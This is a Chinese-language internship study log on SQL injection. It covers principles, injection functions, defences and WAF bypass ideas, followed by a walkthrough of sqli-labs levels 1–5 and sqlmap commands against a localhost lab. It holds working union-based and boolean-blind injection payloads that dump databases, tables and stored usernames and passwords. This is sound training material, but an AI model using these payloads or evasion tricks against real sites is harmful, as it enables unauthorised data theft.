网安实习日志5

8.30任务

  1. 总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
  2. sqli-labs通关前5关,并写出解题步骤,必须手工过关,禁止使用sqlmap
  3. 总结SQLi的手工注入的步骤
  4. 使用sqlmap通过或验证第六关

一、SQL注入

1、SQL注入原理

  • 原理:当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。
  • 本质:把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则。
  • sql注入的形式:一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原书据存储的字符串。

2、SQL注入常用函数及含义

  1. union联合注入函数
  • 函数concat
    语法:concat(str1,str2,…)
    拼接字符串,直接拼接,字符之间没有符号
  • 函数concat_ws()
    语法:concat_ws(‘separator’, str1, str2, …)
    指定符号进行拼接
  • 函数group_concat()
    group_concat(username)
    将username中的内容以逗号隔开显示出来
  1. sql盲注函数
  • 函数length()
    返回指定对象的长度
    length(database())返回当前数据库名的长度
  • 函数left()与函数right()
    left(str,num):对字符串str从左开始数起,返回num个字符(与函数right()相反)
  • 函数substr()
    substr()和substring()函数实现的功能是一样的,均为截取字符串。
  • 函数mid()
    与substr()函数用法相同
  • 函数ascii()
    返回字符串str的最左字符的数值,ASCII()返回数值是从0到255
  1. 报错注入函数
  • 函数floor()
    函数floor(),向下取整
  • 函数exp()
    函数exp()是以e为底的指数函数
  • 函数updatexml()
    updatexml(XML_document, XPath_string, new_value);
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
    第三个参数:new_value,String格式,替换查找到的符合条件的数据
  • 函数extractvalue()
    extractvalue(XML_document, XPath_string);
    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
    第二个参数:XPath_string (Xpath格式的字符串)
  1. 读写文件函数
  • 函数load_file()
    作用:load_file这个函数是读取文件的
  • 函数into outfile
    作用:函数into outfile 与 into dumpfile都是写文件

3、SQL注入防御手段

  • 使用参数化查询:使用参数化查询可以防止SQL注入攻击,并提高代码的可读性和可维护性。在Java中,可以使用PreparedStatement来实现参数化查询。
  • 输入验证和过滤:输入验证和过滤是一种用于确保用户输入数据的安全性和有效性的技术。它可以防止恶意输入和错误数据导致的安全漏洞和应用程序错误。在Java中,可以使用正则表达式和内置的输入验证方法来实现输入验证和过滤。
  • 使用存储过程:存储过程是一组预定义的SQL语句集合,可以在数据库中进行重复性和复杂性的操作。它们可以接受参数,并且可以在数据库中进行重复使用。在Java中,可以使用JDBC来调用和执行存储过程。
  • 最小权限原则:最小权限原则是一种安全性原则,指的是为了保护敏感数据和系统资源,用户应该被授予最小必需的权限。这意味着用户只能访问和执行他们工作所需的数据库对象和操作,而不是拥有对整个数据库的完全访问权限。使用最小权限原则可以减少潜在的安全风险和数据泄露的可能性。通过限制用户的权限,可以防止他们对数据库中的敏感数据进行未经授权的访问、修改或删除。
  • 使用ORM框架:ORM(对象关系映射)框架是一种将对象模型和关系数据库之间进行映射的技术。它允许开发人员使用面向对象的方式操作数据库,而不需要编写繁琐的SQL语句。ORM框架将数据库表映射为对象,将表的行映射为对象的属性,将表之间的关系映射为对象之间的关联。

4、SQL注入常用绕过waf的方法

  • 编码伪装,利用特殊字符编码方式绕过WAF的检测。
  • 转义字符伪装,使用转义字符来隐藏恶意SQL语句。
  • 随机数混淆,在注入语句中加入随机数,使其不被WAF检测到。
  • 大小写伪装,通过大小写混合来伪装关键词。
  • 双写伪装,将关键词双写,WAF识别为普通字符。

二、sqli-labs

第1关

输入?id=1 正常
输入?id=1'  报错 ' .0 ' 
输入?id=1'--+ 正常

判断是字符型注入,闭合方式是'
?id=1' order by 3--+   正常

判断回显位有三个。
?id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

联合注入
爆出库是 ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test
?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='ctfshow'--+

爆出表是 flag
?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'--+

爆出列是id,flag
?id=1' and 1=2 union select 1,2,group_concat(flag) from ctfshow.flag--+

第2关

和第一关是一样的步骤来进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,

所以我们可以大胆猜测sql语句应该是数字型注入。那步骤和我们第一关是差不多的,

"SELECT * FROM users WHERE id=$id LIMIT 0,1"
"SELECT * FROM users WHERE id=1 ' LIMIT 0,1"出错信息。
 
 
?id=1 order by 3
?id=-1 union select 1,2,3
?id=-1 union select 1,database(),version()
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
?id=-1 union select 1,2,group_concat(username ,id , password) from users

在这里插入图片描述
在这里插入图片描述

第3关

当我们在输入?id=2’的时候可以看到页面的报错信息。

可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

通过下面代码构建就可以进行sql注入。

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

在这里插入图片描述

第4关

根据页面报错信息得知sql语句是双引号字符型且有括号,通过以下代码进行sql注入

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

第5关

如果数据不显示只有对错页面显示我们可以选择布尔盲注。

布尔盲注主要用到length(),ascii() ,substr()这三个函数,

首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

?id=1'and length((select database()))>9--+

?id=1'and ascii(substr((select database()),1,1))=115--+

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where 

table_schema=database()),1,1))>99--+
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
  
?id=1' and length((select group_concat(username,password) from users))>109--+

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

三、总结SQLi的手工注入的步骤

第一步—>判断注入点

第二步—>判断字段数

第三步—>判断回显点

第四步—>查询相关内容

  • 判断库名
  • 判断表名
  • 判断列名
  • 查询具体信息

四、使用sqlmap通过或验证第六关

  • 我们可以在sqlmap的目录中打开cmd,输入命令:
python sqlmap.py -u ”http://localhost/sqli-labs-master/Less-6/?id=1” 
  • 来检查是否存在注入
  • 在上面的命令后加上“–dbs”来查找数据库
  • 输入命令:
python sqlmap.py -u ”http://localhost/sqli-labs-master/Less-6/?id=1” -D security --tables
  • 来查看数据库中的表
  • 5
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值